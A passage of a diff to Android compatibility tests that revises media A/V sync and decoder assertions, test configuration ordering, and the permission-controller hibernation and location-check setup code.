+ // The system time when rendering the first video frame after video playback resumes
long resumeVideoSystemTimeMs = mMediaCodecPlayer.getRenderedVideoFrameSystemTimeList()
- .get(underrunVideoRenderedTimestampIndex + 1) / 1000 / 1000;
+ .get(pausedVideoRenderedTimestampIndex + 1) / 1000 / 1000;
- // Verify that audio and video are in-sync after resume time
+ // Verify that video resumes in a reasonable amount of time after audio resumes
// Note: Because a -100ms PTS gap is introduced, the video should resume 100ms later
resumeAudioSystemTimeMs += 100;
- long vsyncMs = 1000 / frameRate;
- long avSyncOffsetMs = resumeAudioSystemTimeMs - resumeVideoSystemTimeMs;
+ long resumeDeltaMs = resumeVideoSystemTimeMs - resumeAudioSystemTimeMs;
+ assertTrue(String.format("Video started %s milliseconds before audio resumed "
+ + "(video:%d audio:%d)", resumeDeltaMs * -1, resumeVideoSystemTimeMs,
+ resumeAudioSystemTimeMs),
+ resumeDeltaMs > 0); // video is expected to start after audio resumes
assertTrue(String.format(
- "Audio is %d milliseconds out of sync of video (audio:%d video:%d)",
- avSyncOffsetMs, resumeAudioSystemTimeMs, resumeVideoSystemTimeMs),
- Math.abs(avSyncOffsetMs) <= vsyncMs);
+ "Video started %d milliseconds after audio resumed (video:%d audio:%d)",
+ resumeDeltaMs, resumeVideoSystemTimeMs, resumeAudioSystemTimeMs),
+ resumeDeltaMs <= 600); // video starting 300ms after audio is barely noticeable
+
+ // Determine the system time of the audio frame that matches the presentation timestamp of
+ // the resumed video frame
+ long resumeVideoPresentationTimeUs = mMediaCodecPlayer.getRenderedVideoFrameTimestampList()
+ .get(pausedVideoRenderedTimestampIndex + 1);
+ long matchingAudioFramePosition = resumeVideoPresentationTimeUs * playbackRateFps / 1000 / 1000;
+ playedFrames = matchingAudioFramePosition - postResumeAudioTimestamp.framePosition;
+ elapsedTimeNs = playedFrames * (1000.0 * 1000.0 * 1000.0 / playbackRateFps);
+ long matchingAudioSystemTimeNs = postResumeAudioTimestamp.nanoTime + (long) elapsedTimeNs;
+ long matchingAudioSystemTimeMs = matchingAudioSystemTimeNs / 1000 / 1000;
+
+ // Verify that video and audio are in sync at the time when video resumes
+ // Note: Because a -100ms PTS gap is introduced, the video should resume 100ms later
+ matchingAudioSystemTimeMs += 100;
+ long avSyncOffsetMs = resumeVideoSystemTimeMs - matchingAudioSystemTimeMs;
+ assertTrue(String.format("Video is %d milliseconds out of sync of audio after resuming "
+ + "(video:%d, audio:%d)", avSyncOffsetMs, resumeVideoSystemTimeMs,
+ matchingAudioSystemTimeMs),
+ // some leniency in AV sync is required because Android TV STB/OTT OEMs often have
+ // to tune for imperfect downstream TVs (that have processing delays on the video)
+ // by knowingly producing HDMI output that has audio and video mildly out of sync
+ Math.abs(avSyncOffsetMs) <= 80);
}
/**
- * Test tunneled audio underrun with HEVC if supported
+ * Test that audio underrun pauses video and resumes in-sync for HEVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAudioUnderrunHevc() throws Exception {
tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv",
- 25);
+ "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
}
/**
- * Test tunneled audio underrun with AVC if supported
+ * Test that audio underrun pauses video and resumes in-sync for AVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAudioUnderrunAvc() throws Exception {
tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
- 25);
+ "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
}
/**
- * Test tunneled audio underrun with VP9 if supported
+ * Test that audio underrun pauses video and resumes in-sync for VP9 in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAudioUnderrunVp9() throws Exception {
tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
- 30);
+ "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception {
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
index f34f9e2..af4e75a 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
@@ -37,6 +37,7 @@
import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.MediaUtils;
import org.junit.Before;
@@ -56,7 +57,7 @@
ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
private static final boolean sIsAtLeastT =
ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU);
-
+ private static final String MIMETYPE_AAC = MediaFormat.MIMETYPE_AUDIO_AAC;
@Before
public void setUp() throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
@@ -67,6 +68,7 @@
* Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
*/
@Test
+ @CddTest(requirements = {"5.1.2/C-2-1", "5.1.2/C-7-1", "5.1.2/C-7-2"})
public void testHeAacM4aMultichannelDownmix() throws Exception {
Log.i(TAG, "START testDecodeHeAacMcM4a");
@@ -81,9 +83,9 @@
AudioFormat.CHANNEL_OUT_QUAD | AudioFormat.CHANNEL_OUT_FRONT_CENTER},
{"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6, AudioFormat.CHANNEL_OUT_5POINT1},
};
-
- for (Object [] sample: samples) {
- for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */)) {
+ for (Object[] sample: samples) {
+ for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */,
+ DecoderTest.CODEC_DEFAULT)) {
// verify correct number of channels is observed without downmixing
AudioParameter chanParams = new AudioParameter();
decodeUpdateFormat(codecName, (String) sample[0] /*resource*/, chanParams,
@@ -101,7 +103,7 @@
assertEquals("Number of channels differs for codec:" + codecName
+ " when downmixing with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
2, aacDownmixParams.getNumChannels());
- if (sIsAtLeastT) {
+ if (sIsAtLeastT && DecoderTest.isDefaultCodec(codecName, MIMETYPE_AAC)) {
// KEY_CHANNEL_MASK expected to work starting with T
assertEquals("Wrong channel mask with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
AudioFormat.CHANNEL_OUT_STEREO,
@@ -168,7 +170,7 @@
assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
MediaFormat format = extractor.getTrackFormat(0);
String mime = format.getString(MediaFormat.KEY_MIME);
- assertTrue("not an audio file", mime.startsWith("audio/"));
+ assertTrue("not an aac audio file", mime.equals(MIMETYPE_AAC));
MediaCodec decoder;
if (decoderName == null) {
@@ -276,7 +278,7 @@
} catch (NullPointerException e) {
fail("KEY_SAMPLE_RATE not found on output format");
}
- if (sIsAtLeastT) {
+ if (sIsAtLeastT && DecoderTest.isDefaultCodec(decoderName, MIMETYPE_AAC)) {
try {
audioParams.setChannelMask(
outputFormat.getInteger(MediaFormat.KEY_CHANNEL_MASK));
diff --git a/tests/tests/media/drmframework/AndroidTest.xml b/tests/tests/media/drmframework/AndroidTest.xml
index c6e311d..28aaadc 100644
--- a/tests/tests/media/drmframework/AndroidTest.xml
+++ b/tests/tests/media/drmframework/AndroidTest.xml
@@ -26,6 +26,11 @@
<option name="dynamic-config-name" value="CtsMediaDrmFrameworkTestCases" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
+ <option name="version" value="7.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaDrmFrameworkTestCases-1.0" />
@@ -35,11 +40,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaDrmFrameworkTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
- <option name="version" value="7.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.drmframework.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
index 1a1a46f..2c1d9c5 100644
--- a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
@@ -26,7 +26,6 @@
import android.media.UnsupportedSchemeException;
import android.media.cts.AudioManagerStub;
import android.media.cts.AudioManagerStubHelper;
-import android.media.cts.CodecState;
import android.media.cts.ConnectionStatus;
import android.media.cts.IConnectionStatus;
import android.media.cts.InputSurface;
diff --git a/tests/tests/media/encoder/AndroidTest.xml b/tests/tests/media/encoder/AndroidTest.xml
index 65d8d6d..4de5615 100644
--- a/tests/tests/media/encoder/AndroidTest.xml
+++ b/tests/tests/media/encoder/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaEncoderTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaEncoderTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaEncoderTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaEncoderTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaEncoderTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.encoder.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/extractor/AndroidTest.xml b/tests/tests/media/extractor/AndroidTest.xml
index 007a65b..fbe2d48 100644
--- a/tests/tests/media/extractor/AndroidTest.xml
+++ b/tests/tests/media/extractor/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaExtractorTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaExtractorTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaExtractorTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaExtractorTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaExtractorTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.extractor.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml
index 58cea2c..4a2ffaf 100644
--- a/tests/tests/media/misc/AndroidTest.xml
+++ b/tests/tests/media/misc/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaMiscTestCases" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaMiscTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaMiscTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaMiscTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.misc.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/muxer/AndroidTest.xml b/tests/tests/media/muxer/AndroidTest.xml
index 502f2ca..0c361e9 100644
--- a/tests/tests/media/muxer/AndroidTest.xml
+++ b/tests/tests/media/muxer/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaMuxerTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaMuxerTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaMuxerTestCases-1.1" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaMuxerTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaMuxerTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.muxer.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/player/AndroidTest.xml b/tests/tests/media/player/AndroidTest.xml
index e3e8b02..a0041ac 100644
--- a/tests/tests/media/player/AndroidTest.xml
+++ b/tests/tests/media/player/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaPlayerTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaPlayerTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaPlayerTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaPlayerTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaPlayerTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.player.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
index b46366c..fdf8507 100644
--- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
@@ -406,9 +406,10 @@
}
@Test
- public void testConcurentPlayAudio() throws Exception {
+ public void testConcurrentPlayAudio() throws Exception {
final String res = "test1m1s.mp3"; // MP3 longer than 1m are usualy offloaded
- final int tolerance = 70;
+ final int recommendedTolerance = 70;
+ final List<Integer> offsets = new ArrayList<>();
Preconditions.assertTestFileExists(mInpPrefix + res);
List<MediaPlayer> mps = Stream.generate(
@@ -431,13 +432,25 @@
int pos = mp.getCurrentPosition();
assertTrue(pos >= 0);
- Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them
+ Thread.sleep(SLEEP_TIME); // Delay each track to be able to hear them
}
+
// Check that all mp3 are playing concurrently here
+ // Record the offsets between streams, but don't enforce them
for (MediaPlayer mp : mps) {
int pos = mp.getCurrentPosition();
Thread.sleep(SLEEP_TIME);
- assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance);
+ offsets.add(Math.abs(pos + SLEEP_TIME - mp.getCurrentPosition()));
+ }
+
+ if (offsets.stream().anyMatch(offset -> offset > recommendedTolerance)) {
+ Log.w(LOG_TAG, "testConcurrentPlayAudio: some concurrent playing offsets "
+ + offsets + " are above the recommended tolerance of "
+ + recommendedTolerance + "ms.");
+ } else {
+ Log.i(LOG_TAG, "testConcurrentPlayAudio: all concurrent playing offsets "
+ + offsets + " are under the recommended tolerance of "
+ + recommendedTolerance + "ms.");
}
} finally {
mps.forEach(MediaPlayer::release);
diff --git a/tests/tests/nativemedia/sl/AndroidTest.xml b/tests/tests/nativemedia/sl/AndroidTest.xml
index 51968de..12438ee 100644
--- a/tests/tests/nativemedia/sl/AndroidTest.xml
+++ b/tests/tests/nativemedia/sl/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
<option name="push" value="CtsNativeMediaSlTestCases->/data/local/tmp/CtsNativeMediaSlTestCases" />
diff --git a/tests/tests/nativemedia/xa/AndroidTest.xml b/tests/tests/nativemedia/xa/AndroidTest.xml
index b3f067e..00a8e71 100644
--- a/tests/tests/nativemedia/xa/AndroidTest.xml
+++ b/tests/tests/nativemedia/xa/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
<option name="push" value="CtsNativeMediaXaTestCases->/data/local/tmp/CtsNativeMediaXaTestCases" />
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
index cdbd58c..b16ad15 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -61,6 +61,11 @@
private const val BROADCAST_TIMEOUT_MS = 60000L
+const val HIBERNATION_BOOT_RECEIVER_CLASS_NAME =
+ "com.android.permissioncontroller.hibernation.HibernationOnBootReceiver"
+const val ACTION_SET_UP_HIBERNATION =
+ "com.android.permissioncontroller.action.SET_UP_HIBERNATION"
+
const val SYSUI_PKG_NAME = "com.android.systemui"
const val NOTIF_LIST_ID = "com.android.systemui:id/notification_stack_scroller"
const val CLEAR_ALL_BUTTON_ID = "dismiss_text"
@@ -82,35 +87,37 @@
fun runBootCompleteReceiver(context: Context, testTag: String) {
val pkgManager = context.packageManager
val permissionControllerPkg = pkgManager.permissionControllerPackageName
+ var permissionControllerSetupIntent = Intent(ACTION_SET_UP_HIBERNATION).apply {
+ setPackage(permissionControllerPkg)
+ setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ }
val receivers = pkgManager.queryBroadcastReceivers(
- Intent(Intent.ACTION_BOOT_COMPLETED), /* flags= */ 0)
- for (ri in receivers) {
- val pkg = ri.activityInfo.packageName
- if (pkg == permissionControllerPkg) {
- val permissionControllerSetupIntent = Intent()
- .setClassName(pkg, ri.activityInfo.name)
- .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
- .setPackage(permissionControllerPkg)
- val countdownLatch = CountDownLatch(1)
- Log.d(testTag, "Sending boot complete broadcast directly to ${ri.activityInfo.name} " +
- "in package $permissionControllerPkg")
- context.sendOrderedBroadcast(
- permissionControllerSetupIntent,
- /* receiverPermission= */ null,
- object : BroadcastReceiver() {
- override fun onReceive(context: Context?, intent: Intent?) {
- countdownLatch.countDown()
- Log.d(testTag, "Broadcast received by $permissionControllerPkg")
- }
- },
- Handler.createAsync(Looper.getMainLooper()),
- Activity.RESULT_OK,
- /* initialData= */ null,
- /* initialExtras= */ null)
- assertTrue("Timed out while waiting for boot receiver broadcast to be received",
- countdownLatch.await(BROADCAST_TIMEOUT_MS, TimeUnit.MILLISECONDS))
+ permissionControllerSetupIntent, /* flags= */ 0)
+ if (receivers.size == 0) {
+ // May be on an older, pre-built PermissionController. In this case, try sending directly.
+ permissionControllerSetupIntent = Intent().apply {
+ setPackage(permissionControllerPkg)
+ setClassName(permissionControllerPkg, HIBERNATION_BOOT_RECEIVER_CLASS_NAME)
+ setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
}
}
+ val countdownLatch = CountDownLatch(1)
+ Log.d(testTag, "Sending boot complete broadcast directly to $permissionControllerPkg")
+ context.sendOrderedBroadcast(
+ permissionControllerSetupIntent,
+ /* receiverPermission= */ null,
+ object : BroadcastReceiver() {
+ override fun onReceive(context: Context?, intent: Intent?) {
+ countdownLatch.countDown()
+ Log.d(testTag, "Broadcast received by $permissionControllerPkg")
+ }
+ },
+ Handler.createAsync(Looper.getMainLooper()),
+ Activity.RESULT_OK,
+ /* initialData= */ null,
+ /* initialExtras= */ null)
+ assertTrue("Timed out while waiting for boot receiver broadcast to be received",
+ countdownLatch.await(BROADCAST_TIMEOUT_MS, TimeUnit.MILLISECONDS))
}
fun runAppHibernationJob(context: Context, tag: String) {
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 7de2727..9667a55 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -119,7 +119,11 @@
// Wake up the device
runShellCommandOrThrow("input keyevent KEYCODE_WAKEUP")
- runShellCommandOrThrow("input keyevent 82")
+ if ("false".equals(runShellCommandOrThrow("cmd lock_settings get-disabled"))) {
+ // Unlock screen only when it's lock settings enabled to prevent showing "wallpaper
+ // picker" which may cover another UI elements on freeform window configuration.
+ runShellCommandOrThrow("input keyevent 82")
+ }
if (isAutomotiveDevice()) {
supportedApkPath = APK_PATH_S_APP
@@ -513,9 +517,9 @@
val parent = waitFindObject(
By.clickable(true)
.hasDescendant(By.textStartsWith("Remove permissions"))
- .hasDescendant(By.clazz(Switch::class.java.name))
+ .hasDescendant(By.checkable(true))
)
- return parent.findObject(By.clazz(Switch::class.java.name))
+ return parent.findObject(By.checkable(true))
}
private fun waitForIdle() {
diff --git a/tests/tests/os/src/android/os/cts/VibratorManagerTest.java b/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
index 67c6003..77fb1a9 100644
--- a/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
+++ b/tests/tests/os/src/android/os/cts/VibratorManagerTest.java
@@ -99,7 +99,7 @@
mStateListeners.put(vibratorId, listener);
// Adding a listener to the Vibrator should trigger the callback once with the current
// vibrator state, so reset mocks to clear it for tests.
- assertVibratorState(false);
+ assertVibratorState(vibratorId, false);
clearInvocations(listener);
}
}
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index ab7a15d..e13f58b 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -20,10 +20,8 @@
import static android.Manifest.permission.ACCESS_FINE_LOCATION;
import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
import static android.app.AppOpsManager.OP_FLAGS_ALL_TRUSTED;
-import static android.app.Notification.EXTRA_TITLE;
import static android.content.Context.BIND_AUTO_CREATE;
import static android.content.Context.BIND_NOT_FOREGROUND;
-import static android.content.Intent.ACTION_BOOT_COMPLETED;
import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
import static android.location.Criteria.ACCURACY_FINE;
import static android.os.Process.myUserHandle;
@@ -41,7 +39,6 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
@@ -80,6 +77,7 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
import com.android.compatibility.common.util.DeviceConfigStateHelper;
import com.android.compatibility.common.util.ProtoUtils;
import com.android.compatibility.common.util.mainline.MainlineModule;
@@ -93,6 +91,7 @@
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -116,11 +115,18 @@
"/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk";
private static final String TEST_APP_LOCATION_FG_ACCESS_APK =
"/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
+ private static final String ACTION_SET_UP_LOCATION_ACCESS_CHECK =
+ "com.android.permissioncontroller.action.SET_UP_LOCATION_ACCESS_CHECK";
private static final int LOCATION_ACCESS_CHECK_JOB_ID = 0;
+ private static final int LOCATION_ACCESS_CHECK_NOTIFICATION_ID = 0;
/** Whether to show location access check notifications. */
private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED =
"location_access_check_enabled";
+ private static final String PROPERTY_LOCATION_ACCESS_CHECK_DELAY_MILLIS =
+ "location_access_check_delay_millis";
+ private static final String PROPERTY_LOCATION_ACCESS_PERIODIC_INTERVAL_MILLIS =
+ "location_access_check_periodic_interval_millis";
private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
private static final long EXPECTED_TIMEOUT_MILLIS = 15000;
@@ -137,6 +143,25 @@
private static final String PERMISSION_CONTROLLER_PKG = sContext.getPackageManager()
.getPermissionControllerPackageName();
+ private static final String LocationAccessCheckOnBootReceiver =
+ "com.android.permissioncontroller.permission.service"
+ + ".LocationAccessCheck$SetupPeriodicBackgroundLocationAccessCheck";
+
+ // Override general notification interval
+ @Rule
+ public DeviceConfigStateChangerRule sPrivacyDeviceConfigBgCheckIntervalMillis =
+ new DeviceConfigStateChangerRule(sContext,
+ DeviceConfig.NAMESPACE_PRIVACY,
+ PROPERTY_LOCATION_ACCESS_PERIODIC_INTERVAL_MILLIS,
+ "100");
+
+ // Override general delay interval
+ @Rule
+ public DeviceConfigStateChangerRule sPrivacyDeviceConfigBgCheckDelayMillis =
+ new DeviceConfigStateChangerRule(sContext,
+ DeviceConfig.NAMESPACE_PRIVACY,
+ PROPERTY_LOCATION_ACCESS_CHECK_DELAY_MILLIS,
+ "50");
/**
* The result of {@link #assumeCanGetFineLocation()}, so we don't have to run it over and over
@@ -297,6 +322,11 @@
* Force a run of the location check.
*/
private static void runLocationCheck() throws Throwable {
+ // If the job isn't setup, do it before running a location check
+ if (!isLocationAccessJobSetup(myUserHandle().getIdentifier())) {
+ setupLocationAccessCheckJob();
+ }
+
// Sleep a little bit to make sure we don't have overlap in timing
Thread.sleep(1000);
@@ -358,8 +388,7 @@
return null;
}
- if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
- .contains(TEST_APP_LABEL)) {
+ if (notification.getId() == LOCATION_ACCESS_CHECK_NOTIFICATION_ID) {
if (cancelNotification) {
notificationService.cancelNotification(notification.getKey());
@@ -589,38 +618,47 @@
}
}, UNEXPECTED_TIMEOUT_MILLIS);
- // Setup up permission controller again (simulate a reboot)
- Intent permissionControllerSetupIntent = null;
- for (ResolveInfo ri : sContext.getPackageManager().queryBroadcastReceivers(
- new Intent(ACTION_BOOT_COMPLETED), 0)) {
- String pkg = ri.activityInfo.packageName;
-
- if (pkg.equals(PERMISSION_CONTROLLER_PKG)) {
- permissionControllerSetupIntent = new Intent()
- .setClassName(pkg, ri.activityInfo.name)
- .setFlags(FLAG_RECEIVER_FOREGROUND)
- .setPackage(PERMISSION_CONTROLLER_PKG);
-
- sContext.sendBroadcast(permissionControllerSetupIntent);
- }
- }
+ setupLocationAccessCheckJob();
